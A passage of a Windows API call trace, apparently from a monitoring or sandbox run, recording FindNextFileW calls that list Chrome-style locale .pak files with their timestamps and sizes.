ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x517a0044, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x7387a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg.pak", cAlternateFileName="")) returned 1 [0098.371] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x517badf4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x96010, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn.pak", cAlternateFileName="")) returned 1 [0098.371] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x517e6d14, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x47028, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca.pak", cAlternateFileName="")) returned 1 [0098.371] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5183c444, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4818c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs.pak", cAlternateFileName="")) returned 1 [0098.371] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5185e724, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x40d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="da.pak", cAlternateFileName="")) returned 1 [0098.372] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51871fa4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3d776, dwReserved0=0x0, dwReserved1=0x0, cFileName="de.pak", cAlternateFileName="")) returned 1 [0098.372] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5189b7b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x7f4d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="el.pak", cAlternateFileName="")) returned 1 [0098.372] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x518b6564, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3af54, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB.pak", cAlternateFileName="")) returned 1 [0098.372] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x518d8844, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3b0d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 1 [0098.372] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x518e99b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x46331, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-419.pak", cAlternateFileName="")) returned 1 [0098.372] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5190bc94, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x476bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="es.pak", cAlternateFileName="")) returned 1 [0098.372] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51929154, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3ebe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="et.pak", cAlternateFileName="")) returned 1 [0098.373] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51948d24, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x651ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa.pak", cAlternateFileName="")) returned 1 [0098.373] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5196d714, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x425ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi.pak", cAlternateFileName="")) returned 1 [0098.373] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51992104, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4884a, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil.pak", cAlternateFileName="")) returned 1 [0098.373] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x519c5554, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4b9a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr.pak", cAlternateFileName="")) returned 1 [0098.373] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x519e2a14, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x8d4aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu.pak", cAlternateFileName="")) returned 1 [0098.373] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a025e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x53398, dwReserved0=0x0, dwReserved1=0x0, cFileName="he.pak", cAlternateFileName="")) returned 1 [0098.373] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a26fd4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9114d, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi.pak", cAlternateFileName="")) returned 1 [0098.374] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a492b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4307f, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr.pak", cAlternateFileName="")) returned 1 [0098.374] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a68e84, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4af4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu.pak", cAlternateFileName="")) returned 1 [0098.374] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a8ff84, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3fca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id.pak", cAlternateFileName="")) returned 1 [0098.374] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ab4974, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x44e38, dwReserved0=0x0, dwReserved1=0x0, cFileName="it.pak", cAlternateFileName="")) returned 1 [0098.374] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ade184, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x54eae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja.pak", cAlternateFileName="")) returned 1 [0098.374] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51afb644, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xa2f0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn.pak", cAlternateFileName="")) returned 1 [0098.375] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b18b04, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x47baa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko.pak", cAlternateFileName="")) returned 1 [0098.375] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b35fc4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4869b, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt.pak", cAlternateFileName="")) returned 1 [0098.375] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b386d4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x48945, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv.pak", cAlternateFileName="")) returned 1 [0098.375] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b3fc04, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xb6502, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml.pak", cAlternateFileName="")) returned 1 [0098.375] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b44a24, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x8f98d, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr.pak", cAlternateFileName="")) returned 1 [0098.375] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b49844, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x36184, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms.pak", cAlternateFileName="")) returned 1 [0098.375] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b4e664, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x401f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb.pak", cAlternateFileName="")) returned 1 [0098.376] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b53484, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x440c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl.pak", cAlternateFileName="")) returned 1 [0098.376] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b582a4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x472ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl.pak", cAlternateFileName="")) returned 1 [0098.376] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b5f7d4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x45594, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR.pak", cAlternateFileName="")) returned 1 [0098.376] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b61ee4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x46a8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT.pak", cAlternateFileName="")) returned 1 [0098.376] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b69414, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x47fd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro.pak", cAlternateFileName="")) returned 1 [0098.376] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51c78404, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x70754, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru.pak", cAlternateFileName="")) returned 1 [0098.377] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51c7f934, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4a4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk.pak", cAlternateFileName="")) returned 1 [0098.377] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51cc6604, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x42fc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl.pak", cAlternateFileName="")) returned 1 [0098.377] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d0abc4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6b5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr.pak", cAlternateFileName="")) returned 1 [0098.377] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d16f14, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x40eb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv.pak", cAlternateFileName="")) returned 1 [0098.377] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d25974, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3c37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw.pak", cAlternateFileName="")) returned 1 [0098.377] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d391f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xa8772, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta.pak", cAlternateFileName="")) returned 1 [0098.377] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d3e014, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9c965, dwReserved0=0x0, dwReserved1=0x0, cFileName="te.pak", cAlternateFileName="")) returned 1 [0098.378] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d51894, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x8cbb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="th.pak", cAlternateFileName="")) returned 1 [0098.378] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d566b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x45f47, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr.pak", cAlternateFileName="")) returned 1 [0098.378] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, 